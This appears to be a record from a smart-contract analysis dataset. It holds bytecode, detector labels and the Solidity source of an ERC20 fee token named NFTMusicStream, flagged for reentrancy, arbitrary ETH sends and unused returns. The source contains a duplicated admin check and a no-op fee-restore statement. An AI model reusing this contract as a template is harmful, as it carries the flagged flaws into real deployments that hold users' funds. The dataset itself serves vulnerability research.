515611d5a57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515611d8057600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e2257600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b60008060008060086000896000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611ecf57600080fd5b60008563ffffffff16118015611ee6575060008410155b1515611ef157600080fd5b838563ffffffff160291508582108015611f0b5750600086115b1515611f1657600080fd5b85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611f6457600080fd5b818603905060046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548160046000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561203b57600080fd5b612067600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114b3565b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060a0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018381526020018663ffffffff1681526020018581525060086000896000191660001916815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548163ffffffff021916908363ffffffff1602179055506080820151816004015590505060003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600192505b5050949350505050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561222857600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561227657600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561230457600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561251157fe5b5b505050505600a165627a7a72305820a7ce5b5709a9f28340d01e3f4b79ab4c0ba0c0592c56a1d1068c63e4962d2a520029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
2,736
0x23880b70e1a31889384956c7270962ec4579358f
/** *Submitted for verification at Etherscan.io on 2021-12-15 */ pragma solidity ^0.8.10; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract NFTMusicStream is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NFTMUSIC.STREAM"; string private constant _symbol = "STREAMER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address public immutable deadAddress = address(0); uint256 private constant _tTotal = 1000000000000 * 1e9; // uint256 private _totalFee = 10; uint256 private _storedTotalFee = _totalFee; // For payout calculations uint256 public _payoutAdmin = 20; uint256 public _payoutMarketing = 40; uint256 public _payoutAppDev = 40; address payable private _adminAddress; address payable private _marketingAddress; address payable private _appDevAddress; mapping(address => bool) private _isAdmin; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = false; bool private supportLiquidity = false; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event SwapTokensForETH(uint256 amountIn, address[] path); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable adminFunds, address payable marketingFunds, address payable appDevFunds) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _adminAddress = adminFunds; _marketingAddress = marketingFunds; _appDevAddress = appDevFunds; _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isAdmin[owner()] = true; _isExcludedFromFee[address(this)] = true; _isAdmin[address(this)] = true; _isExcludedFromFee[_adminAddress] = true; _isAdmin[_adminAddress] = true; _isExcludedFromFee[_marketingAddress] = true; _isAdmin[_marketingAddress] = true; _isExcludedFromFee[_appDevAddress] = true; _isAdmin[_appDevAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (_totalFee == 0) return; _totalFee = 0; } function restoreAllFee() private { _totalFee = _storedTotalFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee; if (!_isAdmin[from] && !_isAdmin[from]) { require(tradingOpen); takeFee = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (supportLiquidity) { uint256 liquidityPart = contractTokenBalance.div(2); swapTokensForEth(liquidityPart); uint256 newContractBalance = balanceOf(address(this)); swapAndLiquify(newContractBalance); } else { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToWallets(address(this).balance); } } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); emit SwapTokensForETH(tokenAmount, path); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function sendETHToWallets(uint256 totalETHbeforeSplit) private { if (_payoutAdmin != 0) { uint256 adminCut = totalETHbeforeSplit.mul(_payoutAdmin).div(100); _adminAddress.transfer(adminCut); } if (_payoutMarketing != 0) { uint256 marketingCut = totalETHbeforeSplit.mul(_payoutMarketing).div(100); _marketingAddress.transfer(marketingCut); } if (_payoutAppDev != 0) { uint256 appDevCut = totalETHbeforeSplit.mul(_payoutAppDev).div(100); _appDevAddress.transfer(appDevCut); } } function openTrading() public onlyOwner { tradingOpen = true; } function presaleFinished() external onlyOwner() { swapEnabled = true; supportLiquidity = true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, address(this), block.timestamp); } function liquiditySupport(bool trueFalse) public onlyOwner { supportLiquidity = trueFalse; } function manualTokenSwap() external { require(_msgSender() == owner()); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function recoverEthFromContract() external { require(_msgSender() == owner()); uint256 contractETHBalance = address(this).balance; sendETHToWallets(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _balances[sender] = _balances[sender].sub(tAmount); _balances[recipient] = _balances[recipient].add(tTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { _balances[address(this)] = _balances[address(this)].add(tTeam); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _totalFee); return (tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 teamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function manualBurn (uint256 amount) external onlyOwner() { require(amount <= balanceOf(owner()), "Amount exceeds available tokens balance"); _tokenTransfer(msg.sender, deadAddress, amount, false); } function setRouterAddress(address newRouter) public onlyOwner() { IUniswapV2Router02 _newUniRouter = IUniswapV2Router02(newRouter); uniswapV2Pair = IUniswapV2Factory(_newUniRouter.factory()).createPair(address(this), _newUniRouter.WETH()); uniswapV2Router = _newUniRouter; } function setAddressAdmin(address payable newAdminAddress) external onlyOwner() { _isExcludedFromFee[_adminAddress] = false; _isAdmin[_adminAddress] = false; _adminAddress = newAdminAddress; _isExcludedFromFee[newAdminAddress] = true; _isAdmin[newAdminAddress] = true; } function setAddressMarketing(address payable newMarketingAddress) external onlyOwner() { _isExcludedFromFee[_marketingAddress] = false; _isAdmin[_marketingAddress] = false; _marketingAddress = newMarketingAddress; _isExcludedFromFee[newMarketingAddress] = true; _isAdmin[newMarketingAddress] = true; } function setAddressAppDev(address payable newAppDevAddress) external onlyOwner() { _isExcludedFromFee[_appDevAddress] = false; _isAdmin[_appDevAddress] = false; _appDevAddress = newAppDevAddress; _isExcludedFromFee[newAppDevAddress] = true; _isAdmin[newAppDevAddress] = true; } function setPayouts(uint256 newAdminPayout, uint256 newMarketingPayout, uint256 newAppDevPayout) external onlyOwner { require(newAdminPayout + newMarketingPayout + newAppDevPayout == 100, "Values must equal 100"); _payoutAdmin = newAdminPayout; _payoutMarketing = newMarketingPayout; _payoutAppDev = newAppDevPayout; } function setFee(uint newFee) external onlyOwner { require(newFee <= 10, "Fee must be less than 10"); _totalFee = newFee; _storedTotalFee = newFee; } function setIsAdmin(address payable newIsAdminAddress) external onlyOwner () { _isExcludedFromFee[newIsAdminAddress] = true; _isAdmin[newIsAdminAddress] = true; } function removeIsAdmin(address payable oldIsAdminAddress) external onlyOwner () { _isExcludedFromFee[oldIsAdminAddress] = false; _isAdmin[oldIsAdminAddress] = false; } }
0x6080604052600436106101d15760003560e01c806370a08231116100f7578063a25b268111610095578063dd62ed3e11610064578063dd62ed3e14610562578063e1f24011146105a8578063e71fa815146105c8578063f2fde38b146105dd57600080fd5b8063a25b2681146104f8578063a9059cbb14610518578063b72c819d14610538578063c9567bf91461054d57600080fd5b80638c5e8116116100d15780638c5e81161461047e5780638da5cb5b1461049457806390b5e6d9146104b257806395d89b41146104c757600080fd5b806370a0823114610413578063715018a61461044957806382094fa41461045e57600080fd5b806323fdbac11161016f57806341cb87fc1161013e57806341cb87fc1461039d5780635e3ff6ca146103bd57806369fe0e2d146103d35780636e3c0981146103f357600080fd5b806323fdbac1146102ff57806327c8f8351461031f578063313ce5671461036b57806334c9c9021461038757600080fd5b806314454ae4116101ab57806314454ae41461027957806318160ddd1461029957806323b63585146102bf57806323b872dd146102df57600080fd5b806306fdde03146101dd578063095ea7b3146102275780630d4c8f621461025757600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600f81526e4e46544d555349432e53545245414d60881b60208201525b60405161021e9190611a77565b60405180910390f35b34801561023357600080fd5b50610247610242366004611ae1565b6105fd565b604051901515815260200161021e565b34801561026357600080fd5b50610277610272366004611b0d565b610614565b005b34801561028557600080fd5b50610277610294366004611b39565b6106b1565b3480156102a557600080fd5b50683635c9adc5dea000005b60405190815260200161021e565b3480156102cb57600080fd5b506102776102da366004611b56565b610717565b3480156102eb57600080fd5b506102476102fa366004611b6f565b6107e5565b34801561030b57600080fd5b5061027761031a366004611bb0565b61084e565b34801561032b57600080fd5b506103537f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161021e565b34801561037757600080fd5b506040516009815260200161021e565b34801561039357600080fd5b506102b160075481565b3480156103a957600080fd5b506102776103b8366004611b39565b610896565b3480156103c957600080fd5b506102b160085481565b3480156103df57600080fd5b506102776103ee366004611b56565b610a3b565b3480156103ff57600080fd5b5061027761040e366004611b39565b610ac0565b34801561041f57600080fd5b506102b161042e366004611b39565b6001600160a01b031660009081526001602052604090205490565b34801561045557600080fd5b50610277610b67565b34801561046a57600080fd5b50610277610479366004611b39565b610b9d565b34801561048a57600080fd5b506102b160065481565b3480156104a057600080fd5b506000546001600160a01b0316610353565b3480156104be57600080fd5b50610277610c44565b3480156104d357600080fd5b5060408051808201909152600881526729aa2922a0a6a2a960c11b6020820152610211565b34801561050457600080fd5b50610277610513366004611b39565b610c85565b34801561052457600080fd5b50610247610533366004611ae1565b610d2c565b34801561054457600080fd5b50610277610d39565b34801561055957600080fd5b50610277610d5a565b34801561056e57600080fd5b506102b161057d366004611bd2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102776105c3366004611b39565b610d99565b3480156105d457600080fd5b50610277610df9565b3480156105e957600080fd5b506102776105f8366004611b39565b610e29565b600061060a338484610ec1565b5060015b92915050565b6000546001600160a01b031633146106475760405162461bcd60e51b815260040161063e90611c0b565b60405180910390fd5b806106528385611c56565b61065c9190611c56565b6064146106a35760405162461bcd60e51b8152602060048201526015602482015274056616c756573206d75737420657175616c2031303605c1b604482015260640161063e565b600692909255600755600855565b6000546001600160a01b031633146106db5760405162461bcd60e51b815260040161063e90611c0b565b6001600160a01b031660009081526003602090815260408083208054600160ff199182168117909255600c909352922080549091169091179055565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161063e90611c0b565b61075661042e6000546001600160a01b031690565b8111156107b55760405162461bcd60e51b815260206004820152602760248201527f416d6f756e74206578636565647320617661696c61626c6520746f6b656e732060448201526662616c616e636560c81b606482015260840161063e565b6107e2337f0000000000000000000000000000000000000000000000000000000000000000836000610fe5565b50565b60006107f2848484611013565b610844843361083f85604051806060016040528060288152602001611dc9602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112bc565b610ec1565b5060019392505050565b6000546001600160a01b031633146108785760405162461bcd60e51b815260040161063e90611c0b565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161063e90611c0b565b6000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610903573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109279190611c6e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610974573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109989190611c6e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a099190611c6e565b600e80546001600160a01b039283166001600160a01b031991821617909155600d805493909216921691909117905550565b6000546001600160a01b03163314610a655760405162461bcd60e51b815260040161063e90611c0b565b600a811115610ab65760405162461bcd60e51b815260206004820152601860248201527f466565206d757374206265206c657373207468616e2031300000000000000000604482015260640161063e565b6004819055600555565b6000546001600160a01b03163314610aea5760405162461bcd60e51b815260040161063e90611c0b565b600b80546001600160a01b039081166000908152600360208181526040808420805460ff19908116909155865486168552600c80845282862080548316905587546001600160a01b031916989096169788179096559583529081528482208054851660019081179091559290529290922080549091169091179055565b6000546001600160a01b03163314610b915760405162461bcd60e51b815260040161063e90611c0b565b610b9b60006112f6565b565b6000546001600160a01b03163314610bc75760405162461bcd60e51b815260040161063e90611c0b565b600980546001600160a01b039081166000908152600360208181526040808420805460ff19908116909155865486168552600c80845282862080548316905587546001600160a01b031916989096169788179096559583529081528482208054851660019081179091559290529290922080549091169091179055565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b815260040161063e90611c0b565b600e805461ffff60b01b191661010160b01b179055565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161063e90611c0b565b600a80546001600160a01b039081166000908152600360208181526040808420805460ff19908116909155865486168552600c80845282862080548316905587546001600160a01b031916989096169788179096559583529081528482208054851660019081179091559290529290922080549091169091179055565b600061060a338484611013565b6000546001600160a01b03163314610d5057600080fd5b476107e281611346565b6000546001600160a01b03163314610d845760405162461bcd60e51b815260040161063e90611c0b565b600e805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610dc35760405162461bcd60e51b815260040161063e90611c0b565b6001600160a01b03166000908152600360209081526040808320805460ff19908116909155600c90925290912080549091169055565b6000546001600160a01b03163314610e1057600080fd5b306000908152600160205260409020546107e281611474565b6000546001600160a01b03163314610e535760405162461bcd60e51b815260040161063e90611c0b565b6001600160a01b038116610eb85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063e565b6107e2816112f6565b6001600160a01b038316610f235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063e565b6001600160a01b038216610f845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80610ff257610ff2611627565b610ffd848484611637565b8061100d5761100d600554600455565b50505050565b6001600160a01b0383166110775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063e565b6001600160a01b0382166110d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063e565b6000811161113b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063e565b6001600160a01b0383166000908152600c602052604081205460ff1615801561117d57506001600160a01b0384166000908152600c602052604090205460ff16155b1561126857600e54600160a01b900460ff1661119857600080fd5b50600160006111bc306001600160a01b031660009081526001602052604090205490565b600e54909150600160a81b900460ff161580156111e75750600e546001600160a01b03868116911614155b80156111fc5750600e54600160b01b900460ff165b1561126657600e54600160b81b900460ff161561124b576000611220826002611710565b905061122b81611474565b3060009081526001602052604090205461124481611759565b5050611254565b61125481611474565b4780156112645761126447611346565b505b505b6001600160a01b03841660009081526003602052604090205460ff16806112a757506001600160a01b03831660009081526003602052604090205460ff165b156112b0575060005b61100d84848484610fe5565b600081848411156112e05760405162461bcd60e51b815260040161063e9190611a77565b5060006112ed8486611c8b565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600654156113ae576000611370606461136a6006548561180090919063ffffffff16565b90611710565b6009546040519192506001600160a01b03169082156108fc029083906000818181858888f193505050501580156113ab573d6000803e3d6000fd5b50505b600754156114105760006113d2606461136a6007548561180090919063ffffffff16565b600a546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561140d573d6000803e3d6000fd5b50505b600854156107e2576000611434606461136a6008548561180090919063ffffffff16565b600b546040519192506001600160a01b03169082156108fc029083906000818181858888f1935050505015801561146f573d6000803e3d6000fd5b505050565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114bc576114bc611ca2565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611515573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115399190611c6e565b8160018151811061154c5761154c611ca2565b6001600160a01b039283166020918202929092010152600d546115729130911684610ec1565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ab908590600090869030904290600401611cfc565b600060405180830381600087803b1580156115c557600080fd5b505af11580156115d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161160e929190611d38565b60405180910390a15050600e805460ff60a81b19169055565b60045461163057565b6000600455565b6000806116438361187f565b6001600160a01b038716600090815260016020526040902054919350915061166b908461189d565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461169a90836118df565b6001600160a01b0385166000908152600160205260409020556116bc8161193e565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170191815260200190565b60405180910390a35050505050565b600061175283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196b565b9392505050565b600e805460ff60a81b1916600160a81b1790556000611779826002611710565b90506000611787838361189d565b90504761179383611474565b600061179f478361189d565b90506117ab8382611999565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050600e805460ff60a81b19169055505050565b60008261180f5750600061060e565b600061181b8385611d59565b9050826118288583611d78565b146117525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063e565b60008060008061189185600454611a4a565b90969095509350505050565b600061175283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bc565b6000806118ec8385611c56565b9050838110156117525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063e565b3060009081526001602052604090205461195890826118df565b3060009081526001602052604090205550565b6000818361198c5760405162461bcd60e51b815260040161063e9190611a77565b5060006112ed8486611d78565b600d546119b19030906001600160a01b031684610ec1565b600d5460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611a1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a439190611d9a565b5050505050565b60008080611a5d606461136a8787611800565b90506000611a6b868361189d565b96919550909350505050565b600060208083528351808285015260005b81811015611aa457858101830151858201604001528201611a88565b81811115611ab6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107e257600080fd5b60008060408385031215611af457600080fd5b8235611aff81611acc565b946020939093013593505050565b600080600060608486031215611b2257600080fd5b505081359360208301359350604090920135919050565b600060208284031215611b4b57600080fd5b813561175281611acc565b600060208284031215611b6857600080fd5b5035919050565b600080600060608486031215611b8457600080fd5b8335611b8f81611acc565b92506020840135611b9f81611acc565b929592945050506040919091013590565b600060208284031215611bc257600080fd5b8135801515811461175257600080fd5b60008060408385031215611be557600080fd5b8235611bf081611acc565b91506020830135611c0081611acc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611c6957611c69611c40565b500190565b600060208284031215611c8057600080fd5b815161175281611acc565b600082821015611c9d57611c9d611c40565b500390565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611cf15781516001600160a01b031687529582019590820190600101611ccc565b509495945050505050565b85815284602082015260a060408201526000611d1b60a0830186611cb8565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611d516040830184611cb8565b949350505050565b6000816000190483118215151615611d7357611d73611c40565b500290565b600082611d9557634e487b7160e01b600052601260045260246000fd5b500490565b600080600060608486031215611daf57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200d76dea0dd28bf28c39e36ac27b30ada715cb67229122e7274a0e3b56e56ed0264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,737
0xaa5686aa8adf1bea06670e9b8736bf4da5d01bc4
